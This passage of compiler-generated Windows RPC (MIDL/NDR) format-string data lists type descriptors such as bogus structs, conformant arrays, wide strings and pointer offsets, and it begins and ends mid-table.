Corr flags:  early, */\n/* 5160 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 5162 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5166 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5170 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 5174 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 5176 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 5178 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5182 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5186 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5188 */\tNdrFcShort( 0xff9e ),\t/* Offset= -98 (5090) */\n/* 5190 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5192 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 5194 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 5196 */\tNdrFcShort( 0xffd2 ),\t/* Offset= -46 (5150) */\n/* 5198 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (5198) */\n/* 5200 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 5202 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5204 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 5206 */\tNdrFcShort( 0x1c ),\t/* Offset= 28 (5234) */\n/* 5208 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x7,\t\t/* 7 */\n/* 5210 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 5212 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 5214 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 5216 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 5218 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 5220 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5224 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5228 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5230 */\tNdrFcShort( 0xed5c ),\t/* Offset= -4772 (458) */\n/* 5232 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5234 */\n\t\t\t0x17,\t\t/* FC_CSTRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 5236 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 5238 */\tNdrFcShort( 0xffe2 ),\t/* Offset= -30 (5208) */\n/* 5240 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 5242 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5244 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 5246 */\tNdrFcShort( 0x46 ),\t/* Offset= 70 (5316) */\n/* 5248 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 5250 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 5252 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5254 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (5270) */\n/* 5256 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 5258 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5260 */\tNdrFcShort( 0xfe72 ),\t/* Offset= -398 (4862) */\n/* 5262 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5264 */\tNdrFcShort( 0xeb7c ),\t/* Offset= -5252 (12) */\n/* 5266 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0xb,\t\t/* FC_HYPER */\n/* 5268 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5270 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 5272 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 5274 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x7,\t\t/* 7 */\n/* 5276 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5278 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 5280 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 5282 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 5284 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 5286 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5290 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5294 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 5298 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 5300 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 5302 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5306 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5310 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5312 */\tNdrFcShort( 0xffc0 ),\t/* Offset= -64 (5248) */\n/* 5314 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5316 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 5318 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 5320 */\tNdrFcShort( 0xffd2 ),\t/* Offset= -46 (5274) */\n/* 5322 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (5322) */\n/* 5324 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 5326 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5328 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 5330 */\tNdrFcShort( 0x44 ),\t/* Offset= 68 (5398) */\n/* 5332 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 5334 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 5336 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5338 */\tNdrFcShort( 0xe ),\t/* Offset= 14 (5352) */\n/* 5340 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 5342 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xeb2d ),\t/* Offset= -5331 (12) */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 5346 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfe1b ),\t/* Offset= -485 (4862) */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 5350 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5352 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 5354 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 5356 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 5358 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5360 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 5362 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 5364 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 5366 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 5368 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5372 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5376 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 5380 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 5382 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 5384 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5388 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5392 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5394 */\tNdrFcShort( 0xffc2 ),\t/* Offset= -62 (5332) */\n/* 5396 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5398 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 5400 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 5402 */\tNdrFcShort( 0xffd2 ),\t/* Offset= -46 (5356) */\n/* 5404 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (5404) */\n/* 5406 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 5408 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5410 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 5412 */\tNdrFcShort( 0x54 ),\t/* Offset= 84 (5496) */\n/* 5414 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 5416 */\tNdrFcShort( 0x50 ),\t/* 80 */\n/* 5418 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5420 */\tNdrFcShort( 0x16 ),\t/* Offset= 22 (5442) */\n/* 5422 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5424 */\tNdrFcShort( 0xfdce ),\t/* Offset= -562 (4862) */\n/* 5426 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 5428 */\t0xd,\t\t/* FC_ENUM16 */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 5430 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 5432 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 5434 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xead1 ),\t/* Offset= -5423 (12) */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 5438 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xeacd ),\t/* Offset= -5427 (12) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5442 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 5444 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 5446 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 5448 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 5450 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 5452 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 5454 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 5456 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5458 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 5460 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 5462 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 5464 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 5466 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5470 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5474 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 5478 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 5480 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 5482 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5486 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5490 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5492 */\tNdrFcShort( 0xffb2 ),\t/* Offset= -78 (5414) */\n/* 5494 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5496 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 5498 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 5500 */\tNdrFcShort( 0xffd2 ),\t/* Offset= -46 (5454) */\n/* 5502 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (5502) */\n/* 5504 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5506 */\tNdrFcShort( 0xfd7c ),\t/* Offset= -644 (4862) */\n/* 5508 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 5510 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5512 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 5514 */\tNdrFcShort( 0x70 ),\t/* Offset= 112 (5626) */\n/* 5516 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 5518 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 5520 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 5522 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 5524 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 5526 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 5528 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5532 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5536 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5538 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 5540 */\tNdrFcShort( 0x60 ),\t/* 96 */\n/* 5542 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5544 */\tNdrFcShort( 0x1c ),\t/* Offset= 28 (5572) */\n/* 5546 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 5548 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 5550 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 5552 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfd4d ),\t/* Offset= -691 (4862) */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 5556 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfd49 ),\t/* Offset= -695 (4862) */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 5560 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5562 */\tNdrFcShort( 0xfd44 ),\t/* Offset= -700 (4862) */\n/* 5564 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5566 */\tNdrFcShort( 0xea4e ),\t/* Offset= -5554 (12) */\n/* 5568 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0xb,\t\t/* FC_HYPER */\n/* 5570 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5572 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 5574 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 5576 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 5578 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 5580 */\n\t\t\t0x14, 0x20,\t/* FC_FP [maybenull_sizeis] */\n/* 5582 */\tNdrFcShort( 0xffbe ),\t/* Offset= -66 (5516) */\n/* 5584 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x7,\t\t/* 7 */\n/* 5586 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5588 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 5590 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 5592 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 5594 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 5596 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5600 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5604 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 5608 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 5610 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 5612 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5616 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5620 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5622 */\tNdrFcShort( 0xffac ),\t/* Offset= -84 (5538) */\n/* 5624 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5626 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 5628 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 5630 */\tNdrFcShort( 0xffd2 ),\t/* Offset= -46 (5584) */\n/* 5632 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (5632) */\n/* 5634 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 5636 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5638 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 5640 */\tNdrFcShort( 0x2a ),\t/* Offset= 42 (5682) */\n/* 5642 */\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 5644 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 5646 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5648 */\tNdrFcShort( 0xe9fc ),\t/* Offset= -5636 (12) */\n/* 5650 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 5652 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfce9 ),\t/* Offset= -791 (4862) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5656 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x7,\t\t/* 7 */\n/* 5658 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 5660 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 5662 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 5664 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 5666 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 5668 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5672 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5676 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5678 */\tNdrFcShort( 0xffdc ),\t/* Offset= -36 (5642) */\n/* 5680 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5682 */\n\t\t\t0x17,\t\t/* FC_CSTRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 5684 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 5686 */\tNdrFcShort( 0xffe2 ),\t/* Offset= -30 (5656) */\n/* 5688 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 5690 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5692 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 5694 */\tNdrFcShort( 0x44 ),\t/* Offset= 68 (5762) */\n/* 5696 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 5698 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 5700 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5702 */\tNdrFcShort( 0xe ),\t/* Offset= 14 (5716) */\n/* 5704 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5706 */\tNdrFcShort( 0xe9c2 ),\t/* Offset= -5694 (12) */\n/* 5708 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 5710 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfcaf ),\t/* Offset= -849 (4862) */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 5714 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5716 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 5718 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 5720 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x7,\t\t/* 7 */\n/* 5722 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5724 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 5726 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 5728 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 5730 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 5732 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5736 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5740 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 5744 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 5746 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 5748 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5752 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5756 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5758 */\tNdrFcShort( 0xffc2 ),\t/* Offset= -62 (5696) */\n/* 5760 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5762 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 5764 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 5766 */\tNdrFcShort( 0xffd2 ),\t/* Offset= -46 (5720) */\n/* 5768 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (5768) */\n/* 5770 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 5772 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5774 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 5776 */\tNdrFcShort( 0x4c ),\t/* Offset= 76 (5852) */\n/* 5778 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 5780 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 5782 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5784 */\tNdrFcShort( 0x12 ),\t/* Offset= 18 (5802) */\n/* 5786 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 5788 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5790 */\tNdrFcShort( 0xfc60 ),\t/* Offset= -928 (4862) */\n/* 5792 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5794 */\tNdrFcShort( 0xe96a ),\t/* Offset= -5782 (12) */\n/* 5796 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0xb,\t\t/* FC_HYPER */\n/* 5798 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 5800 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5802 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 5804 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 5806 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 5808 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 5810 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x7,\t\t/* 7 */\n/* 5812 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5814 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 5816 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 5818 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 5820 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 5822 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5826 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5830 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 5834 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 5836 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 5838 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5842 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5846 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5848 */\tNdrFcShort( 0xffba ),\t/* Offset= -70 (5778) */\n/* 5850 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5852 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 5854 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 5856 */\tNdrFcShort( 0xffd2 ),\t/* Offset= -46 (5810) */\n/* 5858 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (5858) */\n/* 5860 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 5862 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5864 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 5866 */\tNdrFcShort( 0x60 ),\t/* Offset= 96 (5962) */\n/* 5868 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 5870 */\tNdrFcShort( 0x68 ),\t/* 104 */\n/* 5872 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5874 */\tNdrFcShort( 0x1e ),\t/* Offset= 30 (5904) */\n/* 5876 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 5878 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 5880 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 5882 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfc03 ),\t/* Offset= -1021 (4862) */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 5886 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfbff ),\t/* Offset= -1025 (4862) 